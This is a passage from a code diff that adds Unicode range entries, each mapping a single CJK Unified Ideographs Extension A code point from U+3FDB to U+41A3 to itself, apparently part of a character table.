+ ["\u3FDB", "\u3FDB"], /* CJK Ideograph Extension A */
+ ["\u3FDC", "\u3FDC"], /* CJK Ideograph Extension A */
+ ["\u3FDD", "\u3FDD"], /* CJK Ideograph Extension A */
+ ["\u3FDE", "\u3FDE"], /* CJK Ideograph Extension A */
+ ["\u3FDF", "\u3FDF"], /* CJK Ideograph Extension A */
+ ["\u3FE0", "\u3FE0"], /* CJK Ideograph Extension A */
+ ["\u3FE1", "\u3FE1"], /* CJK Ideograph Extension A */
+ ["\u3FE2", "\u3FE2"], /* CJK Ideograph Extension A */
+ ["\u3FE3", "\u3FE3"], /* CJK Ideograph Extension A */
+ ["\u3FE4", "\u3FE4"], /* CJK Ideograph Extension A */
+ ["\u3FE5", "\u3FE5"], /* CJK Ideograph Extension A */
+ ["\u3FE6", "\u3FE6"], /* CJK Ideograph Extension A */
+ ["\u3FE7", "\u3FE7"], /* CJK Ideograph Extension A */
+ ["\u3FE8", "\u3FE8"], /* CJK Ideograph Extension A */
+ ["\u3FE9", "\u3FE9"], /* CJK Ideograph Extension A */
+ ["\u3FEA", "\u3FEA"], /* CJK Ideograph Extension A */
+ ["\u3FEB", "\u3FEB"], /* CJK Ideograph Extension A */
+ ["\u3FEC", "\u3FEC"], /* CJK Ideograph Extension A */
+ ["\u3FED", "\u3FED"], /* CJK Ideograph Extension A */
+ ["\u3FEE", "\u3FEE"], /* CJK Ideograph Extension A */
+ ["\u3FEF", "\u3FEF"], /* CJK Ideograph Extension A */
+ ["\u3FF0", "\u3FF0"], /* CJK Ideograph Extension A */
+ ["\u3FF1", "\u3FF1"], /* CJK Ideograph Extension A */
+ ["\u3FF2", "\u3FF2"], /* CJK Ideograph Extension A */
+ ["\u3FF3", "\u3FF3"], /* CJK Ideograph Extension A */
+ ["\u3FF4", "\u3FF4"], /* CJK Ideograph Extension A */
+ ["\u3FF5", "\u3FF5"], /* CJK Ideograph Extension A */
+ ["\u3FF6", "\u3FF6"], /* CJK Ideograph Extension A */
+ ["\u3FF7", "\u3FF7"], /* CJK Ideograph Extension A */
+ ["\u3FF8", "\u3FF8"], /* CJK Ideograph Extension A */
+ ["\u3FF9", "\u3FF9"], /* CJK Ideograph Extension A */
+ ["\u3FFA", "\u3FFA"], /* CJK Ideograph Extension A */
+ ["\u3FFB", "\u3FFB"], /* CJK Ideograph Extension A */
+ ["\u3FFC", "\u3FFC"], /* CJK Ideograph Extension A */
+ ["\u3FFD", "\u3FFD"], /* CJK Ideograph Extension A */
+ ["\u3FFE", "\u3FFE"], /* CJK Ideograph Extension A */
+ ["\u3FFF", "\u3FFF"], /* CJK Ideograph Extension A */
+ ["\u4000", "\u4000"], /* CJK Ideograph Extension A */
+ ["\u4001", "\u4001"], /* CJK Ideograph Extension A */
+ ["\u4002", "\u4002"], /* CJK Ideograph Extension A */
+ ["\u4003", "\u4003"], /* CJK Ideograph Extension A */
+ ["\u4004", "\u4004"], /* CJK Ideograph Extension A */
+ ["\u4005", "\u4005"], /* CJK Ideograph Extension A */
+ ["\u4006", "\u4006"], /* CJK Ideograph Extension A */
+ ["\u4007", "\u4007"], /* CJK Ideograph Extension A */
+ ["\u4008", "\u4008"], /* CJK Ideograph Extension A */
+ ["\u4009", "\u4009"], /* CJK Ideograph Extension A */
+ ["\u400A", "\u400A"], /* CJK Ideograph Extension A */
+ ["\u400B", "\u400B"], /* CJK Ideograph Extension A */
+ ["\u400C", "\u400C"], /* CJK Ideograph Extension A */
+ ["\u400D", "\u400D"], /* CJK Ideograph Extension A */
+ ["\u400E", "\u400E"], /* CJK Ideograph Extension A */
+ ["\u400F", "\u400F"], /* CJK Ideograph Extension A */
+ ["\u4010", "\u4010"], /* CJK Ideograph Extension A */
+ ["\u4011", "\u4011"], /* CJK Ideograph Extension A */
+ ["\u4012", "\u4012"], /* CJK Ideograph Extension A */
+ ["\u4013", "\u4013"], /* CJK Ideograph Extension A */
+ ["\u4014", "\u4014"], /* CJK Ideograph Extension A */
+ ["\u4015", "\u4015"], /* CJK Ideograph Extension A */
+ ["\u4016", "\u4016"], /* CJK Ideograph Extension A */
+ ["\u4017", "\u4017"], /* CJK Ideograph Extension A */
+ ["\u4018", "\u4018"], /* CJK Ideograph Extension A */
+ ["\u4019", "\u4019"], /* CJK Ideograph Extension A */
+ ["\u401A", "\u401A"], /* CJK Ideograph Extension A */
+ ["\u401B", "\u401B"], /* CJK Ideograph Extension A */
+ ["\u401C", "\u401C"], /* CJK Ideograph Extension A */
+ ["\u401D", "\u401D"], /* CJK Ideograph Extension A */
+ ["\u401E", "\u401E"], /* CJK Ideograph Extension A */
+ ["\u401F", "\u401F"], /* CJK Ideograph Extension A */
+ ["\u4020", "\u4020"], /* CJK Ideograph Extension A */
+ ["\u4021", "\u4021"], /* CJK Ideograph Extension A */
+ ["\u4022", "\u4022"], /* CJK Ideograph Extension A */
+ ["\u4023", "\u4023"], /* CJK Ideograph Extension A */
+ ["\u4024", "\u4024"], /* CJK Ideograph Extension A */
+ ["\u4025", "\u4025"], /* CJK Ideograph Extension A */
+ ["\u4026", "\u4026"], /* CJK Ideograph Extension A */
+ ["\u4027", "\u4027"], /* CJK Ideograph Extension A */
+ ["\u4028", "\u4028"], /* CJK Ideograph Extension A */
+ ["\u4029", "\u4029"], /* CJK Ideograph Extension A */
+ ["\u402A", "\u402A"], /* CJK Ideograph Extension A */
+ ["\u402B", "\u402B"], /* CJK Ideograph Extension A */
+ ["\u402C", "\u402C"], /* CJK Ideograph Extension A */
+ ["\u402D", "\u402D"], /* CJK Ideograph Extension A */
+ ["\u402E", "\u402E"], /* CJK Ideograph Extension A */
+ ["\u402F", "\u402F"], /* CJK Ideograph Extension A */
+ ["\u4030", "\u4030"], /* CJK Ideograph Extension A */
+ ["\u4031", "\u4031"], /* CJK Ideograph Extension A */
+ ["\u4032", "\u4032"], /* CJK Ideograph Extension A */
+ ["\u4033", "\u4033"], /* CJK Ideograph Extension A */
+ ["\u4034", "\u4034"], /* CJK Ideograph Extension A */
+ ["\u4035", "\u4035"], /* CJK Ideograph Extension A */
+ ["\u4036", "\u4036"], /* CJK Ideograph Extension A */
+ ["\u4037", "\u4037"], /* CJK Ideograph Extension A */
+ ["\u4038", "\u4038"], /* CJK Ideograph Extension A */
+ ["\u4039", "\u4039"], /* CJK Ideograph Extension A */
+ ["\u403A", "\u403A"], /* CJK Ideograph Extension A */
+ ["\u403B", "\u403B"], /* CJK Ideograph Extension A */
+ ["\u403C", "\u403C"], /* CJK Ideograph Extension A */
+ ["\u403D", "\u403D"], /* CJK Ideograph Extension A */
+ ["\u403E", "\u403E"], /* CJK Ideograph Extension A */
+ ["\u403F", "\u403F"], /* CJK Ideograph Extension A */
+ ["\u4040", "\u4040"], /* CJK Ideograph Extension A */
+ ["\u4041", "\u4041"], /* CJK Ideograph Extension A */
+ ["\u4042", "\u4042"], /* CJK Ideograph Extension A */
+ ["\u4043", "\u4043"], /* CJK Ideograph Extension A */
+ ["\u4044", "\u4044"], /* CJK Ideograph Extension A */
+ ["\u4045", "\u4045"], /* CJK Ideograph Extension A */
+ ["\u4046", "\u4046"], /* CJK Ideograph Extension A */
+ ["\u4047", "\u4047"], /* CJK Ideograph Extension A */
+ ["\u4048", "\u4048"], /* CJK Ideograph Extension A */
+ ["\u4049", "\u4049"], /* CJK Ideograph Extension A */
+ ["\u404A", "\u404A"], /* CJK Ideograph Extension A */
+ ["\u404B", "\u404B"], /* CJK Ideograph Extension A */
+ ["\u404C", "\u404C"], /* CJK Ideograph Extension A */
+ ["\u404D", "\u404D"], /* CJK Ideograph Extension A */
+ ["\u404E", "\u404E"], /* CJK Ideograph Extension A */
+ ["\u404F", "\u404F"], /* CJK Ideograph Extension A */
+ ["\u4050", "\u4050"], /* CJK Ideograph Extension A */
+ ["\u4051", "\u4051"], /* CJK Ideograph Extension A */
+ ["\u4052", "\u4052"], /* CJK Ideograph Extension A */
+ ["\u4053", "\u4053"], /* CJK Ideograph Extension A */
+ ["\u4054", "\u4054"], /* CJK Ideograph Extension A */
+ ["\u4055", "\u4055"], /* CJK Ideograph Extension A */
+ ["\u4056", "\u4056"], /* CJK Ideograph Extension A */
+ ["\u4057", "\u4057"], /* CJK Ideograph Extension A */
+ ["\u4058", "\u4058"], /* CJK Ideograph Extension A */
+ ["\u4059", "\u4059"], /* CJK Ideograph Extension A */
+ ["\u405A", "\u405A"], /* CJK Ideograph Extension A */
+ ["\u405B", "\u405B"], /* CJK Ideograph Extension A */
+ ["\u405C", "\u405C"], /* CJK Ideograph Extension A */
+ ["\u405D", "\u405D"], /* CJK Ideograph Extension A */
+ ["\u405E", "\u405E"], /* CJK Ideograph Extension A */
+ ["\u405F", "\u405F"], /* CJK Ideograph Extension A */
+ ["\u4060", "\u4060"], /* CJK Ideograph Extension A */
+ ["\u4061", "\u4061"], /* CJK Ideograph Extension A */
+ ["\u4062", "\u4062"], /* CJK Ideograph Extension A */
+ ["\u4063", "\u4063"], /* CJK Ideograph Extension A */
+ ["\u4064", "\u4064"], /* CJK Ideograph Extension A */
+ ["\u4065", "\u4065"], /* CJK Ideograph Extension A */
+ ["\u4066", "\u4066"], /* CJK Ideograph Extension A */
+ ["\u4067", "\u4067"], /* CJK Ideograph Extension A */
+ ["\u4068", "\u4068"], /* CJK Ideograph Extension A */
+ ["\u4069", "\u4069"], /* CJK Ideograph Extension A */
+ ["\u406A", "\u406A"], /* CJK Ideograph Extension A */
+ ["\u406B", "\u406B"], /* CJK Ideograph Extension A */
+ ["\u406C", "\u406C"], /* CJK Ideograph Extension A */
+ ["\u406D", "\u406D"], /* CJK Ideograph Extension A */
+ ["\u406E", "\u406E"], /* CJK Ideograph Extension A */
+ ["\u406F", "\u406F"], /* CJK Ideograph Extension A */
+ ["\u4070", "\u4070"], /* CJK Ideograph Extension A */
+ ["\u4071", "\u4071"], /* CJK Ideograph Extension A */
+ ["\u4072", "\u4072"], /* CJK Ideograph Extension A */
+ ["\u4073", "\u4073"], /* CJK Ideograph Extension A */
+ ["\u4074", "\u4074"], /* CJK Ideograph Extension A */
+ ["\u4075", "\u4075"], /* CJK Ideograph Extension A */
+ ["\u4076", "\u4076"], /* CJK Ideograph Extension A */
+ ["\u4077", "\u4077"], /* CJK Ideograph Extension A */
+ ["\u4078", "\u4078"], /* CJK Ideograph Extension A */
+ ["\u4079", "\u4079"], /* CJK Ideograph Extension A */
+ ["\u407A", "\u407A"], /* CJK Ideograph Extension A */
+ ["\u407B", "\u407B"], /* CJK Ideograph Extension A */
+ ["\u407C", "\u407C"], /* CJK Ideograph Extension A */
+ ["\u407D", "\u407D"], /* CJK Ideograph Extension A */
+ ["\u407E", "\u407E"], /* CJK Ideograph Extension A */
+ ["\u407F", "\u407F"], /* CJK Ideograph Extension A */
+ ["\u4080", "\u4080"], /* CJK Ideograph Extension A */
+ ["\u4081", "\u4081"], /* CJK Ideograph Extension A */
+ ["\u4082", "\u4082"], /* CJK Ideograph Extension A */
+ ["\u4083", "\u4083"], /* CJK Ideograph Extension A */
+ ["\u4084", "\u4084"], /* CJK Ideograph Extension A */
+ ["\u4085", "\u4085"], /* CJK Ideograph Extension A */
+ ["\u4086", "\u4086"], /* CJK Ideograph Extension A */
+ ["\u4087", "\u4087"], /* CJK Ideograph Extension A */
+ ["\u4088", "\u4088"], /* CJK Ideograph Extension A */
+ ["\u4089", "\u4089"], /* CJK Ideograph Extension A */
+ ["\u408A", "\u408A"], /* CJK Ideograph Extension A */
+ ["\u408B", "\u408B"], /* CJK Ideograph Extension A */
+ ["\u408C", "\u408C"], /* CJK Ideograph Extension A */
+ ["\u408D", "\u408D"], /* CJK Ideograph Extension A */
+ ["\u408E", "\u408E"], /* CJK Ideograph Extension A */
+ ["\u408F", "\u408F"], /* CJK Ideograph Extension A */
+ ["\u4090", "\u4090"], /* CJK Ideograph Extension A */
+ ["\u4091", "\u4091"], /* CJK Ideograph Extension A */
+ ["\u4092", "\u4092"], /* CJK Ideograph Extension A */
+ ["\u4093", "\u4093"], /* CJK Ideograph Extension A */
+ ["\u4094", "\u4094"], /* CJK Ideograph Extension A */
+ ["\u4095", "\u4095"], /* CJK Ideograph Extension A */
+ ["\u4096", "\u4096"], /* CJK Ideograph Extension A */
+ ["\u4097", "\u4097"], /* CJK Ideograph Extension A */
+ ["\u4098", "\u4098"], /* CJK Ideograph Extension A */
+ ["\u4099", "\u4099"], /* CJK Ideograph Extension A */
+ ["\u409A", "\u409A"], /* CJK Ideograph Extension A */
+ ["\u409B", "\u409B"], /* CJK Ideograph Extension A */
+ ["\u409C", "\u409C"], /* CJK Ideograph Extension A */
+ ["\u409D", "\u409D"], /* CJK Ideograph Extension A */
+ ["\u409E", "\u409E"], /* CJK Ideograph Extension A */
+ ["\u409F", "\u409F"], /* CJK Ideograph Extension A */
+ ["\u40A0", "\u40A0"], /* CJK Ideograph Extension A */
+ ["\u40A1", "\u40A1"], /* CJK Ideograph Extension A */
+ ["\u40A2", "\u40A2"], /* CJK Ideograph Extension A */
+ ["\u40A3", "\u40A3"], /* CJK Ideograph Extension A */
+ ["\u40A4", "\u40A4"], /* CJK Ideograph Extension A */
+ ["\u40A5", "\u40A5"], /* CJK Ideograph Extension A */
+ ["\u40A6", "\u40A6"], /* CJK Ideograph Extension A */
+ ["\u40A7", "\u40A7"], /* CJK Ideograph Extension A */
+ ["\u40A8", "\u40A8"], /* CJK Ideograph Extension A */
+ ["\u40A9", "\u40A9"], /* CJK Ideograph Extension A */
+ ["\u40AA", "\u40AA"], /* CJK Ideograph Extension A */
+ ["\u40AB", "\u40AB"], /* CJK Ideograph Extension A */
+ ["\u40AC", "\u40AC"], /* CJK Ideograph Extension A */
+ ["\u40AD", "\u40AD"], /* CJK Ideograph Extension A */
+ ["\u40AE", "\u40AE"], /* CJK Ideograph Extension A */
+ ["\u40AF", "\u40AF"], /* CJK Ideograph Extension A */
+ ["\u40B0", "\u40B0"], /* CJK Ideograph Extension A */
+ ["\u40B1", "\u40B1"], /* CJK Ideograph Extension A */
+ ["\u40B2", "\u40B2"], /* CJK Ideograph Extension A */
+ ["\u40B3", "\u40B3"], /* CJK Ideograph Extension A */
+ ["\u40B4", "\u40B4"], /* CJK Ideograph Extension A */
+ ["\u40B5", "\u40B5"], /* CJK Ideograph Extension A */
+ ["\u40B6", "\u40B6"], /* CJK Ideograph Extension A */
+ ["\u40B7", "\u40B7"], /* CJK Ideograph Extension A */
+ ["\u40B8", "\u40B8"], /* CJK Ideograph Extension A */
+ ["\u40B9", "\u40B9"], /* CJK Ideograph Extension A */
+ ["\u40BA", "\u40BA"], /* CJK Ideograph Extension A */
+ ["\u40BB", "\u40BB"], /* CJK Ideograph Extension A */
+ ["\u40BC", "\u40BC"], /* CJK Ideograph Extension A */
+ ["\u40BD", "\u40BD"], /* CJK Ideograph Extension A */
+ ["\u40BE", "\u40BE"], /* CJK Ideograph Extension A */
+ ["\u40BF", "\u40BF"], /* CJK Ideograph Extension A */
+ ["\u40C0", "\u40C0"], /* CJK Ideograph Extension A */
+ ["\u40C1", "\u40C1"], /* CJK Ideograph Extension A */
+ ["\u40C2", "\u40C2"], /* CJK Ideograph Extension A */
+ ["\u40C3", "\u40C3"], /* CJK Ideograph Extension A */
+ ["\u40C4", "\u40C4"], /* CJK Ideograph Extension A */
+ ["\u40C5", "\u40C5"], /* CJK Ideograph Extension A */
+ ["\u40C6", "\u40C6"], /* CJK Ideograph Extension A */
+ ["\u40C7", "\u40C7"], /* CJK Ideograph Extension A */
+ ["\u40C8", "\u40C8"], /* CJK Ideograph Extension A */
+ ["\u40C9", "\u40C9"], /* CJK Ideograph Extension A */
+ ["\u40CA", "\u40CA"], /* CJK Ideograph Extension A */
+ ["\u40CB", "\u40CB"], /* CJK Ideograph Extension A */
+ ["\u40CC", "\u40CC"], /* CJK Ideograph Extension A */
+ ["\u40CD", "\u40CD"], /* CJK Ideograph Extension A */
+ ["\u40CE", "\u40CE"], /* CJK Ideograph Extension A */
+ ["\u40CF", "\u40CF"], /* CJK Ideograph Extension A */
+ ["\u40D0", "\u40D0"], /* CJK Ideograph Extension A */
+ ["\u40D1", "\u40D1"], /* CJK Ideograph Extension A */
+ ["\u40D2", "\u40D2"], /* CJK Ideograph Extension A */
+ ["\u40D3", "\u40D3"], /* CJK Ideograph Extension A */
+ ["\u40D4", "\u40D4"], /* CJK Ideograph Extension A */
+ ["\u40D5", "\u40D5"], /* CJK Ideograph Extension A */
+ ["\u40D6", "\u40D6"], /* CJK Ideograph Extension A */
+ ["\u40D7", "\u40D7"], /* CJK Ideograph Extension A */
+ ["\u40D8", "\u40D8"], /* CJK Ideograph Extension A */
+ ["\u40D9", "\u40D9"], /* CJK Ideograph Extension A */
+ ["\u40DA", "\u40DA"], /* CJK Ideograph Extension A */
+ ["\u40DB", "\u40DB"], /* CJK Ideograph Extension A */
+ ["\u40DC", "\u40DC"], /* CJK Ideograph Extension A */
+ ["\u40DD", "\u40DD"], /* CJK Ideograph Extension A */
+ ["\u40DE", "\u40DE"], /* CJK Ideograph Extension A */
+ ["\u40DF", "\u40DF"], /* CJK Ideograph Extension A */
+ ["\u40E0", "\u40E0"], /* CJK Ideograph Extension A */
+ ["\u40E1", "\u40E1"], /* CJK Ideograph Extension A */
+ ["\u40E2", "\u40E2"], /* CJK Ideograph Extension A */
+ ["\u40E3", "\u40E3"], /* CJK Ideograph Extension A */
+ ["\u40E4", "\u40E4"], /* CJK Ideograph Extension A */
+ ["\u40E5", "\u40E5"], /* CJK Ideograph Extension A */
+ ["\u40E6", "\u40E6"], /* CJK Ideograph Extension A */
+ ["\u40E7", "\u40E7"], /* CJK Ideograph Extension A */
+ ["\u40E8", "\u40E8"], /* CJK Ideograph Extension A */
+ ["\u40E9", "\u40E9"], /* CJK Ideograph Extension A */
+ ["\u40EA", "\u40EA"], /* CJK Ideograph Extension A */
+ ["\u40EB", "\u40EB"], /* CJK Ideograph Extension A */
+ ["\u40EC", "\u40EC"], /* CJK Ideograph Extension A */
+ ["\u40ED", "\u40ED"], /* CJK Ideograph Extension A */
+ ["\u40EE", "\u40EE"], /* CJK Ideograph Extension A */
+ ["\u40EF", "\u40EF"], /* CJK Ideograph Extension A */
+ ["\u40F0", "\u40F0"], /* CJK Ideograph Extension A */
+ ["\u40F1", "\u40F1"], /* CJK Ideograph Extension A */
+ ["\u40F2", "\u40F2"], /* CJK Ideograph Extension A */
+ ["\u40F3", "\u40F3"], /* CJK Ideograph Extension A */
+ ["\u40F4", "\u40F4"], /* CJK Ideograph Extension A */
+ ["\u40F5", "\u40F5"], /* CJK Ideograph Extension A */
+ ["\u40F6", "\u40F6"], /* CJK Ideograph Extension A */
+ ["\u40F7", "\u40F7"], /* CJK Ideograph Extension A */
+ ["\u40F8", "\u40F8"], /* CJK Ideograph Extension A */
+ ["\u40F9", "\u40F9"], /* CJK Ideograph Extension A */
+ ["\u40FA", "\u40FA"], /* CJK Ideograph Extension A */
+ ["\u40FB", "\u40FB"], /* CJK Ideograph Extension A */
+ ["\u40FC", "\u40FC"], /* CJK Ideograph Extension A */
+ ["\u40FD", "\u40FD"], /* CJK Ideograph Extension A */
+ ["\u40FE", "\u40FE"], /* CJK Ideograph Extension A */
+ ["\u40FF", "\u40FF"], /* CJK Ideograph Extension A */
+ ["\u4100", "\u4100"], /* CJK Ideograph Extension A */
+ ["\u4101", "\u4101"], /* CJK Ideograph Extension A */
+ ["\u4102", "\u4102"], /* CJK Ideograph Extension A */
+ ["\u4103", "\u4103"], /* CJK Ideograph Extension A */
+ ["\u4104", "\u4104"], /* CJK Ideograph Extension A */
+ ["\u4105", "\u4105"], /* CJK Ideograph Extension A */
+ ["\u4106", "\u4106"], /* CJK Ideograph Extension A */
+ ["\u4107", "\u4107"], /* CJK Ideograph Extension A */
+ ["\u4108", "\u4108"], /* CJK Ideograph Extension A */
+ ["\u4109", "\u4109"], /* CJK Ideograph Extension A */
+ ["\u410A", "\u410A"], /* CJK Ideograph Extension A */
+ ["\u410B", "\u410B"], /* CJK Ideograph Extension A */
+ ["\u410C", "\u410C"], /* CJK Ideograph Extension A */
+ ["\u410D", "\u410D"], /* CJK Ideograph Extension A */
+ ["\u410E", "\u410E"], /* CJK Ideograph Extension A */
+ ["\u410F", "\u410F"], /* CJK Ideograph Extension A */
+ ["\u4110", "\u4110"], /* CJK Ideograph Extension A */
+ ["\u4111", "\u4111"], /* CJK Ideograph Extension A */
+ ["\u4112", "\u4112"], /* CJK Ideograph Extension A */
+ ["\u4113", "\u4113"], /* CJK Ideograph Extension A */
+ ["\u4114", "\u4114"], /* CJK Ideograph Extension A */
+ ["\u4115", "\u4115"], /* CJK Ideograph Extension A */
+ ["\u4116", "\u4116"], /* CJK Ideograph Extension A */
+ ["\u4117", "\u4117"], /* CJK Ideograph Extension A */
+ ["\u4118", "\u4118"], /* CJK Ideograph Extension A */
+ ["\u4119", "\u4119"], /* CJK Ideograph Extension A */
+ ["\u411A", "\u411A"], /* CJK Ideograph Extension A */
+ ["\u411B", "\u411B"], /* CJK Ideograph Extension A */
+ ["\u411C", "\u411C"], /* CJK Ideograph Extension A */
+ ["\u411D", "\u411D"], /* CJK Ideograph Extension A */
+ ["\u411E", "\u411E"], /* CJK Ideograph Extension A */
+ ["\u411F", "\u411F"], /* CJK Ideograph Extension A */
+ ["\u4120", "\u4120"], /* CJK Ideograph Extension A */
+ ["\u4121", "\u4121"], /* CJK Ideograph Extension A */
+ ["\u4122", "\u4122"], /* CJK Ideograph Extension A */
+ ["\u4123", "\u4123"], /* CJK Ideograph Extension A */
+ ["\u4124", "\u4124"], /* CJK Ideograph Extension A */
+ ["\u4125", "\u4125"], /* CJK Ideograph Extension A */
+ ["\u4126", "\u4126"], /* CJK Ideograph Extension A */
+ ["\u4127", "\u4127"], /* CJK Ideograph Extension A */
+ ["\u4128", "\u4128"], /* CJK Ideograph Extension A */
+ ["\u4129", "\u4129"], /* CJK Ideograph Extension A */
+ ["\u412A", "\u412A"], /* CJK Ideograph Extension A */
+ ["\u412B", "\u412B"], /* CJK Ideograph Extension A */
+ ["\u412C", "\u412C"], /* CJK Ideograph Extension A */
+ ["\u412D", "\u412D"], /* CJK Ideograph Extension A */
+ ["\u412E", "\u412E"], /* CJK Ideograph Extension A */
+ ["\u412F", "\u412F"], /* CJK Ideograph Extension A */
+ ["\u4130", "\u4130"], /* CJK Ideograph Extension A */
+ ["\u4131", "\u4131"], /* CJK Ideograph Extension A */
+ ["\u4132", "\u4132"], /* CJK Ideograph Extension A */
+ ["\u4133", "\u4133"], /* CJK Ideograph Extension A */
+ ["\u4134", "\u4134"], /* CJK Ideograph Extension A */
+ ["\u4135", "\u4135"], /* CJK Ideograph Extension A */
+ ["\u4136", "\u4136"], /* CJK Ideograph Extension A */
+ ["\u4137", "\u4137"], /* CJK Ideograph Extension A */
+ ["\u4138", "\u4138"], /* CJK Ideograph Extension A */
+ ["\u4139", "\u4139"], /* CJK Ideograph Extension A */
+ ["\u413A", "\u413A"], /* CJK Ideograph Extension A */
+ ["\u413B", "\u413B"], /* CJK Ideograph Extension A */
+ ["\u413C", "\u413C"], /* CJK Ideograph Extension A */
+ ["\u413D", "\u413D"], /* CJK Ideograph Extension A */
+ ["\u413E", "\u413E"], /* CJK Ideograph Extension A */
+ ["\u413F", "\u413F"], /* CJK Ideograph Extension A */
+ ["\u4140", "\u4140"], /* CJK Ideograph Extension A */
+ ["\u4141", "\u4141"], /* CJK Ideograph Extension A */
+ ["\u4142", "\u4142"], /* CJK Ideograph Extension A */
+ ["\u4143", "\u4143"], /* CJK Ideograph Extension A */
+ ["\u4144", "\u4144"], /* CJK Ideograph Extension A */
+ ["\u4145", "\u4145"], /* CJK Ideograph Extension A */
+ ["\u4146", "\u4146"], /* CJK Ideograph Extension A */
+ ["\u4147", "\u4147"], /* CJK Ideograph Extension A */
+ ["\u4148", "\u4148"], /* CJK Ideograph Extension A */
+ ["\u4149", "\u4149"], /* CJK Ideograph Extension A */
+ ["\u414A", "\u414A"], /* CJK Ideograph Extension A */
+ ["\u414B", "\u414B"], /* CJK Ideograph Extension A */
+ ["\u414C", "\u414C"], /* CJK Ideograph Extension A */
+ ["\u414D", "\u414D"], /* CJK Ideograph Extension A */
+ ["\u414E", "\u414E"], /* CJK Ideograph Extension A */
+ ["\u414F", "\u414F"], /* CJK Ideograph Extension A */
+ ["\u4150", "\u4150"], /* CJK Ideograph Extension A */
+ ["\u4151", "\u4151"], /* CJK Ideograph Extension A */
+ ["\u4152", "\u4152"], /* CJK Ideograph Extension A */
+ ["\u4153", "\u4153"], /* CJK Ideograph Extension A */
+ ["\u4154", "\u4154"], /* CJK Ideograph Extension A */
+ ["\u4155", "\u4155"], /* CJK Ideograph Extension A */
+ ["\u4156", "\u4156"], /* CJK Ideograph Extension A */
+ ["\u4157", "\u4157"], /* CJK Ideograph Extension A */
+ ["\u4158", "\u4158"], /* CJK Ideograph Extension A */
+ ["\u4159", "\u4159"], /* CJK Ideograph Extension A */
+ ["\u415A", "\u415A"], /* CJK Ideograph Extension A */
+ ["\u415B", "\u415B"], /* CJK Ideograph Extension A */
+ ["\u415C", "\u415C"], /* CJK Ideograph Extension A */
+ ["\u415D", "\u415D"], /* CJK Ideograph Extension A */
+ ["\u415E", "\u415E"], /* CJK Ideograph Extension A */
+ ["\u415F", "\u415F"], /* CJK Ideograph Extension A */
+ ["\u4160", "\u4160"], /* CJK Ideograph Extension A */
+ ["\u4161", "\u4161"], /* CJK Ideograph Extension A */
+ ["\u4162", "\u4162"], /* CJK Ideograph Extension A */
+ ["\u4163", "\u4163"], /* CJK Ideograph Extension A */
+ ["\u4164", "\u4164"], /* CJK Ideograph Extension A */
+ ["\u4165", "\u4165"], /* CJK Ideograph Extension A */
+ ["\u4166", "\u4166"], /* CJK Ideograph Extension A */
+ ["\u4167", "\u4167"], /* CJK Ideograph Extension A */
+ ["\u4168", "\u4168"], /* CJK Ideograph Extension A */
+ ["\u4169", "\u4169"], /* CJK Ideograph Extension A */
+ ["\u416A", "\u416A"], /* CJK Ideograph Extension A */
+ ["\u416B", "\u416B"], /* CJK Ideograph Extension A */
+ ["\u416C", "\u416C"], /* CJK Ideograph Extension A */
+ ["\u416D", "\u416D"], /* CJK Ideograph Extension A */
+ ["\u416E", "\u416E"], /* CJK Ideograph Extension A */
+ ["\u416F", "\u416F"], /* CJK Ideograph Extension A */
+ ["\u4170", "\u4170"], /* CJK Ideograph Extension A */
+ ["\u4171", "\u4171"], /* CJK Ideograph Extension A */
+ ["\u4172", "\u4172"], /* CJK Ideograph Extension A */
+ ["\u4173", "\u4173"], /* CJK Ideograph Extension A */
+ ["\u4174", "\u4174"], /* CJK Ideograph Extension A */
+ ["\u4175", "\u4175"], /* CJK Ideograph Extension A */
+ ["\u4176", "\u4176"], /* CJK Ideograph Extension A */
+ ["\u4177", "\u4177"], /* CJK Ideograph Extension A */
+ ["\u4178", "\u4178"], /* CJK Ideograph Extension A */
+ ["\u4179", "\u4179"], /* CJK Ideograph Extension A */
+ ["\u417A", "\u417A"], /* CJK Ideograph Extension A */
+ ["\u417B", "\u417B"], /* CJK Ideograph Extension A */
+ ["\u417C", "\u417C"], /* CJK Ideograph Extension A */
+ ["\u417D", "\u417D"], /* CJK Ideograph Extension A */
+ ["\u417E", "\u417E"], /* CJK Ideograph Extension A */
+ ["\u417F", "\u417F"], /* CJK Ideograph Extension A */
+ ["\u4180", "\u4180"], /* CJK Ideograph Extension A */
+ ["\u4181", "\u4181"], /* CJK Ideograph Extension A */
+ ["\u4182", "\u4182"], /* CJK Ideograph Extension A */
+ ["\u4183", "\u4183"], /* CJK Ideograph Extension A */
+ ["\u4184", "\u4184"], /* CJK Ideograph Extension A */
+ ["\u4185", "\u4185"], /* CJK Ideograph Extension A */
+ ["\u4186", "\u4186"], /* CJK Ideograph Extension A */
+ ["\u4187", "\u4187"], /* CJK Ideograph Extension A */
+ ["\u4188", "\u4188"], /* CJK Ideograph Extension A */
+ ["\u4189", "\u4189"], /* CJK Ideograph Extension A */
+ ["\u418A", "\u418A"], /* CJK Ideograph Extension A */
+ ["\u418B", "\u418B"], /* CJK Ideograph Extension A */
+ ["\u418C", "\u418C"], /* CJK Ideograph Extension A */
+ ["\u418D", "\u418D"], /* CJK Ideograph Extension A */
+ ["\u418E", "\u418E"], /* CJK Ideograph Extension A */
+ ["\u418F", "\u418F"], /* CJK Ideograph Extension A */
+ ["\u4190", "\u4190"], /* CJK Ideograph Extension A */
+ ["\u4191", "\u4191"], /* CJK Ideograph Extension A */
+ ["\u4192", "\u4192"], /* CJK Ideograph Extension A */
+ ["\u4193", "\u4193"], /* CJK Ideograph Extension A */
+ ["\u4194", "\u4194"], /* CJK Ideograph Extension A */
+ ["\u4195", "\u4195"], /* CJK Ideograph Extension A */
+ ["\u4196", "\u4196"], /* CJK Ideograph Extension A */
+ ["\u4197", "\u4197"], /* CJK Ideograph Extension A */
+ ["\u4198", "\u4198"], /* CJK Ideograph Extension A */
+ ["\u4199", "\u4199"], /* CJK Ideograph Extension A */
+ ["\u419A", "\u419A"], /* CJK Ideograph Extension A */
+ ["\u419B", "\u419B"], /* CJK Ideograph Extension A */
+ ["\u419C", "\u419C"], /* CJK Ideograph Extension A */
+ ["\u419D", "\u419D"], /* CJK Ideograph Extension A */
+ ["\u419E", "\u419E"], /* CJK Ideograph Extension A */
+ ["\u419F", "\u419F"], /* CJK Ideograph Extension A */
+ ["\u41A0", "\u41A0"], /* CJK Ideograph Extension A */
+ ["\u41A1", "\u41A1"], /* CJK Ideograph Extension A */
+ ["\u41A2", "\u41A2"], /* CJK Ideograph Extension A */
+ ["\u41A3", "\u41A3"], /* CJK Ideograph Extension A */
